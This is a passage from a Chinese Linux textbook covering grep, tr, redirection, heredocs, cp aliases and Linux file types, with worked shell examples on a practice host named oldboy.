[oldboy@oldboy ~]$ cat test2.txt     #<==查看待测试的文件。

lisir

oldboy

oldboy linux

ALEX

[oldboy@oldboy ~]$ grep -n "oldboy" test2.txt   #<==输出包含oldboy字符串的行，

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 并显示行号。

2:oldboy

3:oldboy linux

[oldboy@oldboy ~]$ grep -n "." test2.txt        #<==显示所有行的行号（类似于cat

                                                    -n test2.txt），这里的"."代

                                                    表匹配任意单个字符，即匹配了所

                                                    有的内容，所以，显示了所有行的

                                                    行号。

1:lisir

2:oldboy

3:oldboy linux

4:ALEX




 
[image: ]提示：-n参数会为grep命令找到的内容在开头加上对应的行号。
 
范例7-36：-i不区分大小写参数实践。
 


[oldboy@oldboy ~]$ grep "alex" test2.txt     #<==过滤小写alex的行，结果没有内容。

[oldboy@oldboy ~]$ grep -i "alex" test2.txt  #<==使用-i参数不区分大小写过滤alex。

ALEX




 
范例7-37：同时过滤两个不同的字符串并为过滤的内容显示颜色（-E和--color的参数实践）。
 


[oldboy@oldboy ~]$ grep -Ei "oldboy|alex" test2.txt  #<==不区分大小写，同时过滤包含oldboy和alex字符串。

oldboy

oldboy linux

ALEX

[oldboy@oldboy ~]$ grep -Ei --color=auto "oldboy|alex" test2.txt  #<==增加--color

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　参数。

oldboy

oldboy linux

ALEX

#<==匹配的字符串会显示红色颜色。




 
范例7-38：计算匹配的字符串的数量（-c参数实践）。
 


[oldboy@oldboy ~]$ grep "oldboy" test2.txt   

oldboy

oldboy linux

[oldboy@oldboy ~]$ grep -c "oldboy" test2.txt

2




 
范例7-39：只输出匹配的内容（-o参数实践）。
 


[oldboy@oldboy ~]$ grep -o oldboy test2.txt 

oldboy

oldboy




 
范例7-40：利用grep搜索符合要求的用户（-w参数实践）。
 
准备测试数据：
 


[root@oldboy ~]# useradd oldboy

[root@oldboy ~]# useradd oldboy1

[root@oldboy ~]# useradd oldboy2

[root@oldboy ~]# grep -w oldboy /etc/passwd #<==使用-w搜索oldboy字符串。

oldboy:x:500:500::/home/oldboy:/bin/bash

[root@oldboy ~]# grep  oldboy /etc/passwd   #<==如果取消-w参数，则会搜索到包含

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　oldboy字符串的用户。

oldboy:x:500:500::/home/oldboy:/bin/bash

oldboy1:x:501:501::/home/oldboy1:/bin/bash

oldboy2:x:502:502::/home/oldboy2:/bin/bash




7.9　tr：替换或删除字符
 
7.9.1　命令详解
 
【命令星级】　　★★★★☆
 
【功能说明】
 
tr命令从标准输入中替换、缩减或者删除字符，并将结果写到标准输出。
 
【语法格式】
 


tr  [option]  [SET1]    [SET2]

tr  [选项]    [字符1]   [字符2]




 
【选项说明】
 
表7-12针对tr命令的参数选项进行了说明。
 
表7-12　tr命令的参数选项及说明

 
 [image: ]

 
7.9.2　使用范例
 
以下是后面的范例中要用到的实践文本：
 


[root@oldboy ~]# cat oldboy.txt  

I am oldboy teacher!

I teach linux.



I like badminton ball ,billiard ball and chinese chess!

my blog is http://oldboy.blog.51cto.com

our site is http://www.etiantian.org

my qq num is 49000448.



not 4900000448.

my god ,i am not oldbey,but OLDBOY!




 
范例7-41：将文件中出现的“abc”替换为“xyz”。
 


[root@oldboy ~]# tr 'abc' 'xyz' < oldboy.txt  #<==tr命令接文件比较特殊，需要输入

                                                  重定向符号“<”。

I xm oldyoy texzher!

I texzh linux.



I like yxdminton yxll ,yillixrd yxll xnd zhinese zhess!

my ylog is http://oldyoy.ylog.51zto.zom

our site is http://www.etixntixn.org

my qq num is 49000448.



not 4900000448.

my god ,i xm not oldyey,yut OLDBOY!




 
[image: ]提示：凡是在文本中出现的“a”全部转换成“x”，“b”全部转换成“y”，“c”全部转换成“z”，而不是仅仅将字符串“abc”替换为字符串“xyz”。
 
范例7-42：使用tr命令“统一”字母大小写。
 


[root@oldboy ~]# tr '[a-z]' '[A-Z]' <oldboy.txt #<==小写转大写。

I AM OLDBOY TEACHER!

I TEACH LINUX.



I LIKE BADMINTON BALL ,BILLIARD BALL AND CHINESE CHESS!

MY BLOG IS HTTP://OLDBOY.BLOG.51CTO.COM

OUR SITE IS HTTP://WWW.ETIANTIAN.ORG

MY QQ NUM IS 49000448.



NOT 4900000448.

MY GOD ,I AM NOT OLDBEY,BUT OLDBOY!

#<==[a-z]是26个小写字母的缩写，[A-Z]是26个大写字母的缩写。因此本例是将a替换为A，b替换为B…z替换为Z。




 
范例7-43：将数字0-9替换为a-j。
 


[root@oldboy ~]# tr '[0-9]' '[a-j]' < oldboy.txt #<==数字0替换为a，1替换为b …

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　一一对应。

I am oldboy teacher!

I teach linux.



I like badminton ball ,billiard ball and chinese chess!

my blog is http://oldboy.blog.fbcto.com

our site is http://www.etiantian.org

my qq num is ejaaaeei.



not ejaaaaaeei.

my god ,i am not oldbey,but OLDBOY!




 
范例7-44：删除文件中出现的oldboy中的每个字符。
 


[root@oldboy ~]# tr -d 'oldboy'<oldboy.txt  #<==使用参数-d删除字符。

I am  teacher!

I teach inux.



I ike amintn a ,iiar a an chinese chess!

m g is http://.g.51ct.cm

ur site is http://www.etiantian.rg

m qq num is 49000448.



nt 4900000448.

m g ,i am nt e,ut OLDBOY!




 
[image: ]提示：凡是在文件中出现的“o”、“l”、“d”、“b”、“y”字符都会被删除！而不仅仅是删除oldboy字符串。
7.10　有关vi/vim/cat/echo及特殊重点符号的考试题
 
考试题：在/data目录下创建oldboy.txt，并增加“I am studying linux.”一行内容。
 
该题有多种解题方法，下面就来一一分析讲解。
 
7.10.1　使用vi/vim命令解题及知识点分析
 
解题步骤具体如下。
 
1）首先确认/data目录是否存在，如果不存在则建立一个data目录，否则无法在不存在的data目录下创建oldboy.txt文件。示例代码如下：
 


[root@oldboy ~]# mkdir -p /data

[root@oldboy ~]# ls -ld /data

drwxr-xr-x. 2 root root 4096 Mar 10 14:33 /data




 
2）然后，执行vi命令指定路径，并创建和编辑oldboy.txt。示例代码如下：
 


[root@oldboy ~]# vi /data/oldboy.txt #<==默认是命令模式。




 
3）按i键进入insert插入模式（即编辑模式），然后按要求输入文本内容。示例代码如下：
 


I am studying linux.




 
4）编辑完毕后，按Esc键，退出编辑模式（插入模式），再次回到命令模式。
 
5）保存并退出，代码如下：
 


:wq   #<==保存并退出，w(write,写入)，q(quit,退出)。

其他命令：

:wq!  #<==强制保存并退出。

:q!   #<==强制退出不保存。




 
6）检查文件内容，输出内容如下：
 


[root@oldboy ~]# cat /data/oldboy.txt

I am studying linux.




 
图7-12给出了上述过程中相应的转换流程。图7-13则是通过vi命令实现的流程图。
 
从该示例中可以得出如下几点结论。
 
·vi相当于Windows记事本，功能够用，但是不够强大。

·vim相当于高级编辑器notepad++emeditor，其功能更多，而且它的操作与vi是一样的，推荐大家都使用vim编辑文件。
 
7.10.2　使用echo命令解题及知识点分析
 
解题方法为利用echo命令在oldboy.txt中增加内容，示例代码如下：
 


[root@oldboy ~]# echo "I am studying CentOS."  #<==显示内容到屏幕上,这是echo的

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　基本功能。

I am studying CentOS.

[root@oldboy ~]# echo "I am studying CentOS." >>/data/oldboy.txt   

    #<==借用追加符号“>>”将内容写入到oldboy.txt结尾，此操作不改变源文件已有的内容。

[root@oldboy ~]# cat /data/oldboy.txt 

I am studying linux.   #<==这是vi命令添加的。

I am studying CentOS.  #<==这是echo命令添加的。

[root@oldboy ~]# echo "I am studying CentOS." >/data/oldboy.txt

    #<==借用重定向符号“>”先清空文件的所有内容，然后将内容写入到oldboy.txt结尾。

[root@oldboy ~]# cat /data/oldboy.txt 

I am studying CentOS.

[root@oldboy ~]# echo "I am studying CentOS." >/data/oldgirl.txt   

    #<==借用重定向符号“>”将内容写入到oldgirl.txt结尾，不改变源文件已有的内容。




 
 
 [image: ] 


图7-12　vi/vim中不同模式转换流程图
 
 
 [image: ] 


图7-13　通过vi命令打开编辑模式到保存退出的流程图
 
[image: ]特殊符号“重定向符号（漏斗）”的说明
 
“>”为重定向符号，表示清除原文件里面的所有内容，然后将内容追加到文件的末尾（很危险的操作，慎用！）。
 
“>>”为追加重定向符号，即追加内容到文件的尾部（文件的最后一行）。
 
对于echo命令，需要补充的知识点具体如下。
 
下面来思考一下，echo命令通过重定向符号是否只能追加一行？
 
答：并非如此，重定向符号可以追加多行内容到文件的结尾，示例代码如下：
 


echo "1111

2222

3333     

4444">>oldgirl.txt

#<==可以用这个方法向文件中追加多行，不是很常用，了解即可，可用单引号或双引号引用所有内容。




 
操作过程及结果如下：
 


[root@oldboy ~]# echo "1111

> 2222

> 3333

> 4444">>oldgirl.txt

[root@oldboy ~]# cat oldgirl.txt 

1111

2222

3333

4444




 
7.10.3　使用cat命令解题及知识点分析
 
在向多行追加文本内容时，也可以利用cat再加上追加重定向符号实现与echo相同的功能，示例代码如下：
 


cat >>/data/test.txt<<EOF #<==这里必须要是两个小于号，EOF表示结束标记，即读取到EOF就结束。

I am studying linux cat.

for example.

EOF             #<==这个EOF表示结束，两个EOF之间的内容会被追加到文件中。

[root@oldboy ~]# cat >>/data/test.txt<<EOF

> I am studying linux cat.

> for example.

> EOF           #<==结尾EOF要顶格写，前面不能有空格，除非用tab，EOF可用其他符号替代。

[root@oldboy ~] # cat /data/test.txt 

I am studying linux cat.




 
7.10.4　重定向符号的核心知识
 
1.重定向简介
 
重定向是Linux里的一个重要名词，对于它的作用，直白点说，就是类似于如图7-14所示的漏斗，使用重定向符号，可以让数据从一个地方（文件或工具）无损失地流到另一个地方（文件或工具）。
 
 
 [image: ] 


图7-14　重定向符号的形象图解
 
2.标准输入/输出/错误输出
 
标准输入是一个名称，它表示数据的一个流入方向，通常表示数据从文件等流入到处理的工具或命令中，用代码0表示，使用“<”或“<<”符号来指示数据朝箭头所指的方向流动。
 
标准输出也是一个名称，也表示数据的一个流入方向，通常用代码1表示，使用“>”或“>>”符号来指示数据朝箭头的方向流动。与标准输入不同的是，1表示将命令等处理的一般信息输出到文件。
 
标准错误输出是另一个名称，也是表示数据的一个流入方向，通常用代码2表示，使用“>”或“>>”符号来指示数据朝箭头的方向流动。与标准输出不同的是，标准错误输出2表示将错误的信息输出到文件等，而不是输出正确的普通信息（仅输出错误信息）。
 
为了让读者能够清晰掌握重定向的相关知识，下面特总结了一个表，如表7-13所示。
 
表7-13　重定向符号总结

 
 [image: ]

 
3.标准输出实际范例
 
标准输出的实际操作示例代码如下：
 


[root@oldboy ~]# echo "123" 1>oldboy.txt

[root@oldboy ~]# cat oldboy.txt

123

[root@oldboy ~]# echo 123 1>a.txt 2>b.txt #<==“echo 123”为正确输出，因此会重定向

　　　　　　　　　　　　　　　　　　　　　　　　　　　　到a.txt。

[root@oldboy ~]# cat a.txt 

123    #<==“echo 123”可以正确执行，因此会输出到a.txt。

[root@oldboy ~]# cat b.txt #<==“echo 123”可以正确执行，因此不会输出到b.txt。




 
4.错误输出案例
 
错误输出实际操作示例代码如下：
 


[root@oldboy ~]# cho 123 1>a.txt 2>b.txt #<==故意输入的错误命令cho。

[root@oldboy ~]# cat a.txt

[root@oldboy ~]# cat b.txt #<==“cho 123”执行会报错输出，因此，会重定向到b.txt。

-bash: cho: command not found




 
5.输入重定向的示例
 
输入重定向的实际操作示例如下。
 
范例7-45：将oldboy.txt内容输出到屏幕。
 


[root@oldboy ~]# echo 1 2 3 >oldboy.txt #<==将数据输出到oldboy.txt。

[root@oldboy ~]# cat<oldboy.txt     #<==读取oldboy.txt文件输出到屏幕。

1 2 3

[root@oldboy ~]# cat 0<oldboy.txt   #<==读取oldboy.txt文件输出到屏幕，0可以省略。

1 2 3




 
范例7-46：将oldboy.txt内容输出到指定命令进行处理，最后再输出到屏幕。
 


[root@oldboy ~]# tr " " "\n" 0< oldboy.txt #<==遇到空格，替换为回车（\n），0可以省略。

1

2

3

[root@oldboy ~]# xargs -n 1 <oldboy.txt  #<==分组显示，0可以省略。           

1

2

3




 
[image: ]提示：tr和xargs命令的详解请参见后文。
 
范例7-47：Linux下使用输入重定向发邮件命令示例。
 


mail?-s '邮件标题'  邮件地址    <邮件内容（文件）

mail?-s 'training' oldboy@qq.com?</etc/hosts




 
[image: ]提示：此功能需要开启邮件服务或配置邮件代理，这里只介绍“<”的应用。
 
6.追加输入重定向的示例
 
范例7-48：读入数据，然后输出到屏幕。
 


cat <<EOF

    oldboy

EOF




 
范例7-49：读入数据，然后输出到oldboy.txt文件。
 


    cat >oldboy.txt<<EOF

oldboy 

    EOF #相当于cat oldboy >oldboy.txt




7.11　有关grep/head/sed/awk及特殊重点符号的考试题
 
考试题：已知文件test.txt内容为：
 


test

liyao

oldboy




 
请给出在屏幕上输出test.txt内容时，不包含oldboy字符串的命令。
 
对于该题，相应的解答如下。
 
7.11.1　使用grep命令解题及知识点分析
 
解题步骤如下。
 
1）利用前文学到的知识，模拟生成要处理的数据文件，命令如下：
 


cat >oldboy.txt<<EOF

test

liyao

oldboy

EOF

[root@oldboy ~]# cat oldboy.txt 

test

liyao

oldboy




 
2）使用grep方法实现相应的功能，代码如下：
 


[root@oldboy ~]# grep -v oldboy oldboy.txt  #<==排除输出中包含oldboy字样的字符串。

test

liyao




 
[image: ]提示：-v表示排除，后面接的内容是不希望输出的字符串，此处使用grep命令后，过滤的字符串为oldboy，对于该字符串，也可以用单引号或双引号引起来。
 
7.11.2　使用head命令解题
 
解题示例如下：
 


[root@oldboy ~]# head -2 oldboy.txt  #<==只输出文件的前两行。

test

liyao




 
7.11.3　通过更多命令解题的方法
 
下面的几种方法为扩展方法，基础弱的读者在学完第9章的内容之后，再回头来看这几个方法就简单了。
 
示例代码如下：
 


[root@oldboy ~]# sed '/oldboy/d' oldboy.txt      #<==使用三剑客之一的sed删除方法，

                                                     其实是先删除oldboy行，然后

                                                     打印剩下的内容。

test

liyao

[root@oldboy ~]# sed -n /[^oldboy]/p oldboy.txt  #<==正则表达式加sed方法。

test

liyao

[root@oldboy ~]# awk /[^oldboy]/ oldboy.txt      #<==正则表达式加awk方法。

test

liyao




 
命令中提到的三剑客是指grep、awk、sed，它们都具有过滤字符串的功能，grep最擅长，awk比较擅长按列过滤文件内容，sed则擅长在文件中删除、修改、替换和添加内容。三剑客配合正则表达式，是处理文件内容的杀手锏，读者必须掌握，后面的章节还会重点讲解这些内容，此处读者如果有不懂之处可以暂时忽略。
7.12　有关mkdir命令的考试题
 
考试题：请用一条命令完成创建目录/oldboy/test，即创建/oldboy目录及/oldboy/test目录。
 
解答命令如下：
 


mkdir -p /oldboy/test




 
实践过程如下：
 


[root@oldboy ~]# mkdir -p /oldboy/test  #<==递归创建目录，一般第一级目录不存在时使用

                                            -p，否则报错。

[root@oldboy ~]# tree /oldboy/          #<==查看目录树结果。

/oldboy/

`-- test

1 directory, 0 files




 
[image: ]提示：如果tree命令不存在，则可以使用yum install tree-y安装。
7.13　有关cp/alias/unalias命令的考试题
 
考试题：已知/tmp目录下已经存在了test.txt文件，如何执行命令才能将/mnt/test.txt复制到/tmp下，并覆盖掉/tmp/test.txt，且让Linux系统不提示是否覆盖（root权限下）。
 
在解答该题之前，首先要建立测试数据，具体如下：
 


[root@oldboy ~]# touch /tmp/test.txt

[root@oldboy ~]# touch /mnt/test.txt

[root@oldboy ~]# cp /mnt/test.txt  /tmp/

cp: overwrite `/tmp/test.txt'?




 
解法一：
 


/bin/cp /mnt/test.txt /tmp/test.txt




 
解法二：
 


\cp  /mnt/test.txt /tmp/test.txt




 
采用这种方法解答此题的思路就是屏蔽掉系统默认的对应命令别名，执行cp的操作默认是调用了别名来执行的，所以会提示覆盖。
 
[详细说明]
 
cp命令默认是不会提示overwrite的，但是cp的-i选项会提示，在Linux的用户环境文件~/.bashrc中一般会将cp命名成alias cp='cp-i'，示例代码如下：
 


[root@student tmp]# alias |grep cp

alias cp='cp -i'




 
这样，在Linux下输入cp命令实际上运行的是cp-i，再加上一个“\”符号，或者写cp全路径/bin/cp，就是让此次的cp命令不使用别名（cp-i）运行。
 
解法三（不推荐使用）：
 


unalias cp

cp /mnt/test.txt /tmp/test.txt




 
[image: ]提示：命令行处理别名仅在当时生效，重启系统后就失效了。
 
具体处理过程的演示代码如下：
 


[root@oldboy ~]# unalias cp  #<==提示：此法仅为临时取消别名方法，重新登录后就不再生效。

[root@oldboy ~]# alias |grep cp

[root@oldboy ~]# cp /mnt/test.txt  /tmp/     #<==不提示确认了。

[root@oldboy ~]# cp -i /mnt/test.txt  /tmp/  #<==只有主动加-i参数才会提示确认。

cp: overwrite `/tmp/test.txt'?




 
解法四（禁止使用）：
 


$ vi ~/.bashrc

在“alias cp='cp -i'”前加上“#”注释掉，即取消cp的别名设置。

$ . ~/.bashrc（让修改生效）

# cp /mnt/test.txt /tmp/test.txt




 
这种解法为杀鸡取卵的方法，蛋取出来了，鸡也一命呜呼了。
 
此处涉及alias和ualias两种命令的用法，同时请读者思考一下别名的好处，以及怎么样利用这个特性为我们服务。
 
[image: ]提示：同样的命令还有mv、rm等。希望读者做事也能尽量地举一反三，由此及彼，拓宽思路和视野。
 
需要特别说明的是，在脚本里直接写命令也可以逃避别名，但是我们在习惯上还是使用全路径。
 
Linux别名的作用
 
·对危险命令加一些保护参数等，以防止人为误操作。

·将很多复杂的字符串或命令变成一个简单的字符串或命令。
 
Linux别名对应的命令
 
·alias：查看和设置别名。

·unalias：取消别名。
 
下面来看一下Linux别名的用途示例。
 
范例7-50：相应的系统示例就是最好的例子。
 


[root@oldboy ~]# alias

alias cp='cp -i'

alias mv='mv -i'

alias rm='rm -i'




 
范例7-51：保护危险命令（此为生产案例）
 


[root@oldboy ~]# alias rm='echo "rm cmd is not allowd to use."'

[root@oldboy ~]# rm

rm cmd is not allowd to use.

[root@oldboy ~]# rm -fr /tmp/

rm cmd is not allowd to use. -fr /tmp/




 
范例7-52：简化命令操作（此为生产案例）
 


[root@oldboy ~]# ls /etc/sysconfig/network-scripts/ifcfg-eth0

[root@oldboy ~]# alias oldboy='cat /etc/sysconfig/network-scripts/ifcfg-eth0'

[root@oldboy ~]# alias |grep oldboy

alias oldboy='cat /etc/sysconfig/network-scripts/ifcfg-eth0'

[root@oldboy ~]# oldboy

DEVICE=eth0

HWADDR=00:0c:29:eb:fa:4c

TYPE=Ethernet

...省略若干...




 
Linux系统中别名配置所在的位置具体如下：
 


[root@oldboylinux ~]# cat ~/.bashrc

# .bashrc

# User specific aliases and functions

alias rm='rm -i'

alias cp='cp -i'

alias mv='mv -i'




 
若希望定义的别名永久生效，则必须放到配置文件里，可以放到如下文件中：
 


a./etc/profile 全局生效，即所有登录的用户都生效。

b.~/.bashrc    当前用户生效，如果是root，就是登录root生效




 
[image: ]提示：一定要用source或者“.”（点号）
 
以下是设置别名永久生效的例子。
 


[root@oldboy ~]# echo "alias rm='echo "rm cmd is not allowd to use."'" >>/etc/profile

[root@oldboy ~]# tail -1 /etc/profile

alias rm='echo rm cmd is not allowd to use.'

[root@oldboy ~]# source /etc/profile

[root@oldboy ~]# alias|grep rm

alias rm='echo rm cmd is not allowd to use.'




 
如下链接中分享有关别名的问题及解决技巧：http://oldboy.blog.51cto.com/2561410/699046

7.14　本章知识总结
 
1）重点命令：vi/vim/echo/cat/more/less/head/tail/grep/tr
 
2）普通命令：alias/unalias，提及的新命令sed/awk
 
3）重要知识：别名知识、复制后直接覆盖知识、多行文本追加知识、重定向符号知识
第8章　Linux文件类型及查找命令实践
 
8.1　Linux文件属性概述

 
在Linux系统中，文件或目录的属性主要包括：索引节点（Inode）、文件类型、权限属性、链接数、所归属的用户和用户组、最近修改时间等内容。
 
执行ls-lhi命令可以显示/data目录下内容的常见属性信息，示例如下：
 


[root@oldboy ~]# ls -lhi /data

total 12K

139170 -rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt

139167 -rw-r--r--. 1 root root 22 Mar 11 15:16 oldgirl.txt

139171 -rw-r--r--. 1 root root 38 Mar 11 15:37 test.txt




 
有关文件属性的详细解释如图8-1所示。
 
图8-1中各列的具体含义说明如下。
 
第一列：Inode索引节点编号（相当于人的身份证、家庭住址，全国唯一）；系统读取文件时首先通过文件名找到Inode号码，然后才能读取到文件内容。
 
第二列和第三列：文件类型及权限。这一列共包含11个字符，其中第一个字符为文件类型，随后的9个字符为文件的对应权限，最后一个字符点号“.”是与SELinux有关的一个标识。
 
第四列：硬链接个数（详情请参看ln命令的讲解）。相当于超市的多个入口，可以从不同的文件入口进入文件，还可以互为备份（消防通道）。
 
 
 [image: ] 


图8-1　文件属性每一列的含义
 
第五列：文件或目录所属的用户（属主）。在Linux系统里，文件和程序的存在必须要有用户和组满足相应的存在需求。
 
第六列：文件或目录所属的组（属组）（家庭）。
 
第七列：文件或目录的大小。
 
第八列：文件或目录的修改时间，默认为月、日、时、分。
 
第九列：实际的文件名或目录名。需要注意的是，文件名不算文件的属性。
 
接下来的几章，将为大家重点讲解这些文件属性的含义，以及与之相关的重要的Linux基础知识，本章先介绍Linux文件类型。
8.2　Linux文件类型及文件扩展名
 
8.2.1　文件类型与扩展名介绍
 
我们都知道，Windows系统是通过扩展名来区分不同文件类型的，如果扩展名错误，或者没有扩展名，则会导致文件无法直接打开（如图8-2所示）。
 
 
 [image: ] 


图8-2　Windows下面修改扩展名后系统的提示
 
表8-1为Windows系统下常见文件的扩展名及代表的意义。
 
表8-1　Windows下常见文件的扩展名及意义

 
 [image: ]

 
Linux系统不同于Windows系统，Linux系统不会根据扩展名来区分文件类型，而是通过为文件设定属性的特殊方式来区分文件类型的。但是Linux系统中也会包含各种带有扩展名的文件，这些文件可能来自于Windows及其他系统，也有部分来自Linux系统本身，但这些文件的扩展名，并不代表文件的类型，这些扩展名只是为了让用户更容易区分文件类型，更易读而已，并且即使出现扩展名错误，文件也是可以正常使用的。
 
表8-2给出了Linux系统下常见文件的扩展名及其代表的意义。
 
表8-2　Linux下常见文件的扩展名及意义
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在Linux系统中，对于通过应用程序或命令创建的文件，如file.txt、file.tar.gz等，虽然这些文件的扩展名不同，而且要使用不同的程序或命令来打开，但它们都是常规文件（也称为普通文件）。
 
Linux中文件结尾附带的后缀文件扩展名（如.txt、.tar、.gz），除了让曾经习惯Windows的用户感觉更易读之外，对于Linux系统来说，大多数没有特别实际的意义，通常也只是为了易读而已，但在Windows系统中，扩展名就是用来实实在在地表示文件类型格式的。
 
8.2.2　Linux中的文件类型
 
在Linux系统中，可以说一切（包括目录、普通文件、设备文件等）皆为文件。文件类型包含了普通文件、目录、字符设备文件、块设备文件、符号/软链接文件、管道文件等，表8-3列出了Linux下常见的文件类型及说明。
 
表8-3　Linux下常见的文件类型及说明
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要想查看文件类型，可执行ls-l或ls-al命令来实现，执行后的输出信息如下：
 


[root@oldboy ~]# ls -l

total 52

-rw-------. 1 root root  1074 Mar  8 09:57 anaconda-ks.cfg

drwxr-xr-x. 2 root root  4096 Mar 10 18:01 data1

-rw-r--r--. 1 root root 21736 Mar  8 09:57 install.log

-rw-r--r--. 1 root root  5890 Mar  8 09:55 install.log.syslog

-rw-r--r--. 1 root root    18 Mar 12 04:00 oldboy.txt

-rw-r--r--. 1 root root    20 Mar 11 15:28 oldgirl.txt




 
上述结果中的第一列（比如-rw-r--r--）对应的第一个字符就是描述文件类型的，比如上面结果中就有“-”、d等类型的文件。第2～10个字符（比如rw-r--r--）是用来描述文件权限的（有关权限问题后文会有详细介绍）。
 
[image: ]提示：Linux初学者在学习时需要抓住重点，建议大家先掌握d、“-”、l这三种类型。
 
以下是find命令中与-type参数对应的可选文件类型信息。
 


b      block (buffered) special

c      character (unbuffered) special

d      directory

p      named pipe (FIFO)

f      regular file

l      symbolic link; 

s      socket

D      door (Solaris)




 
8.2.3　Linux文件类型详细介绍
 
1.普通文件（regular file）
 
执行echo命令生成一个普通文件oldboy.txt，然后执行ls-l oldboy.txt查看其属性：
 


[root@oldboy ~]# echo "I am oldboy" >oldboy.txt

[root@oldboy ~]# ls -l oldboy.txt 

-rw-r--r--. 1 root root 12 Mar 13 02:46 oldboy.txt




 
通过ls-l命令来查看oldboy.txt文件的属性时，可以看到第一列的内容为-rw-r--r--，这里的第一个符号是“-”（英文字符减号），在Linux中，以这样的字符开头的文件就表示普通文件。
 
这些文件一般是用相关的应用程序或系统命令创建而成的，比如touch、cp、echo、cat、>、>>等工具命令。若是将Windows里各种扩展名的文件拿到Linux系统下查看，你会发现它们的文件类型都是普通文件，示例代码如下：
 


[root@oldboy oldboy]# ls -l oldboy.jpg arp.zip test.doc oldboytrainning.ppt 

-rw-r--r-- 1 root root 145756 Oct 31 11:03 arp.zip

-rw-r--r-- 1 root root  36120 Aug 10 15:56 oldboy.jpg

-rw-r--r-- 1 root root  12800 Oct 31 11:04 oldboytrainning.ppt

-rw-r--r-- 1 root root  10752 Oct 31 11:04 test.doc




 
从上面的测试可以看出，Windows下doc、ppt、zip、jpg等格式的文档在Linux下都属于普通文件。Linux下各种服务的配置文件（如/etc/services、/etc/hosts等）也都是纯文本文件。
 
普通文件（regular file）的第一个特征就是其属性开头为“-”，按照文件内容，又大略可以分为如下三种。
 
1）（纯）文本文件（ASCII）：此类文件的文件内容可以直接读取到数据，例如，字母、数字、特殊符号等。可以用cat命令读文件，比如Linux系统里的配置文件几乎都是这种类型。
 
2）二进制文件（binary）：Linux中的常见命令就属于这种格式。例如，cat命令就是一个二进制文件。
 
3）数据格式文件（data）：有些程序在运行的过程中会读取某些特定格式的文件，那些特定格式的文件即称为数据文件。例如，Linux在用户登录时都会将登录的数据记录在/var/log/wtmp（last命令的数据库文件）文件内，该文件是一个数据文件，可通过last命令读取出来。但如果使用cat命令读取则会读出乱码。因为它属于一种特殊格式的文件。
 
若要删除普通文件，则可以使用rm命令来实现。
 
2.目录文件（directory）
 
可执行make命令生成/data目录，然后执行ls-ld命令查看目录的属性，示例代码如下：
 


[root@oldboy ~]# mkdir /data -p

[root@oldboy ~]# ls -ld /data /etc

drwxr-xr-x.  2 root root 4096 Mar 11 15:37 /data

drwxr-xr-x. 78 root root 4096 Mar 11 03:45 /etc




 
从上面的输出可以看到，第一列的内容为drwxr-xr-x.，这种开头带有d字符的文件就表示目录，可以认为目录在Linux中是一种特殊的文件。
 
可以通过mkdir命令或cp命令（带-r或-a参数）来创建目录，cp命令可以将一个目录复制为另一个目录。删除目录可使用rm-r或rmdir（删空目录才可以）命令。
 
下面是ls-F命令的执行结果，它会在不同文件的结尾加上特殊标识，用以区分文件。可以看出，目录的结尾是/，其他文件的结尾，有的也加上了特殊符号。
 


[root@oldboy oldboy]# ls -F

arp.zip  ext/  oldboy.jpg   oldboytrainning.ppt  test.doc  xiaodong/

etiantian_soft_link.txt@  oldboy*  oldboy_hard_link*  test/  wodi.gz




 
3.符号链接（symbolic link）文件
 
符号链接文件也称为软链接文件，它类似于Windows下的快捷方式，它本身并没有内容，而是指向了其他实体文件。示例代码如下：
 


[root@oldboy ~]# cat oldboy.txt 

I am oldboy

[root@oldboy ~]# ln -s oldboy.txt oldboy_soft.txt #ln -s  为谁创建软链接（源文件）  软链接名（名字不能事先存在）

[root@oldboy ~]# ls -l oldboy*

lrwxrwxrwx. 1 root root 10 Mar 13 03:14 oldboy_soft.txt -> oldboy.txt

-rw-r--r--. 1 root root 12 Mar 13 02:46 oldboy.txt

[root@oldboy ~]# cat oldboy_soft.txt 

I am oldboy




 
从上面的输出可以看到，当我们查看文件的属性时，会看到有类似lrwxrwxrwx的内容，注意第一个字符是l，这类文件类型即表示软链接文件。
 
软链接文件可以通过ln命令进行创建，具体命令为“ln-s源文件名新文件名”，如果不使用-s参数，则表示创建硬链接文件，硬链接文件不适用于目录。
 
有关链接文件的知识，后文会进一步详细讲解。
 
4.字符（character）/块（block）设备文件
 
若想查看/dev目录下特定文件的属性，则会看到类似如下的内容：
 


[root@oldboy ~]# ls -l /dev/tty /dev/sda1

brw-rw----. 1 root disk 8, 1 Mar 10 12:26 /dev/sda1

crw-rw-rw-. 1 root tty  5, 0 Mar 10 12:26 /dev/tty




 
其中，/dev/tty文件的第一列属性是crw-rw-rw-，前面的第一个字符是c，其表示字符设备文件。对于字符设备，一般典型的文件就是串行端口的接口设备，如猫等串口设备。
 
而/dev/sda文件的第一列属性是brw-r-----，前面第一个字符是b，其表示块设备，块设备就是存储数据供系统及程序访问的接口设备，如硬盘、光驱等都均属于块设备。
 
块设备和字符设备文件都是比较特殊的文件，一般都是实体设备接入到计算机后的设备，但是也可以使用mknod命令来模拟创建，并用rm命令来删除。在实际工作中，创建上述设备文件一般不需要通过命令实现。下面创建特殊文件的知识了解一下即可。
 
创建一个字符设备（字符设备文件与此相同）的示例代码如下：
 


[root@oldboy ~]# mknod oldboy c 5 1

[root@oldboy ~]# ls -l oldboy

crw-r--r--. 1 root root 5, 1 Mar 13 03:26 oldboy




 
以下是相应的说明。
 
·oldboy是创建的设备的名字。

·c表示创建的是字符设备，也可以使用b。

·5是该设备在major.h中定义的标记。

·1是第一个子设备。
 
5.套接口（socket）文件
 
当启动数据库软件MySQL服务时，会产生一个mysql.sock文件。在这个文件的属性里，第一个字符是s，表示是套接字文件。示例代码如下：
 


[root@oldboy oldboy]# ll /data/3306/mysql.sock 

srwxrwxrwx 1 mysql mysql 0 03-18 09:36 /data/3306/mysql.sock

[root@oldboy ~]# ls -l /dev/log

srw-rw-rw- 1 root root 0 Feb 12  2012 /dev/log




 
.sock文件也是一类特殊的文件，这类文件通常在网络之间进行数据连接，例如，我们可以启动一个程序来监听客户端的请求，客户端可以通过套接字来进行数据通信。示例代码如下：
 


mysql -uroot -ppass -S /data/3306/mysql.sock




 
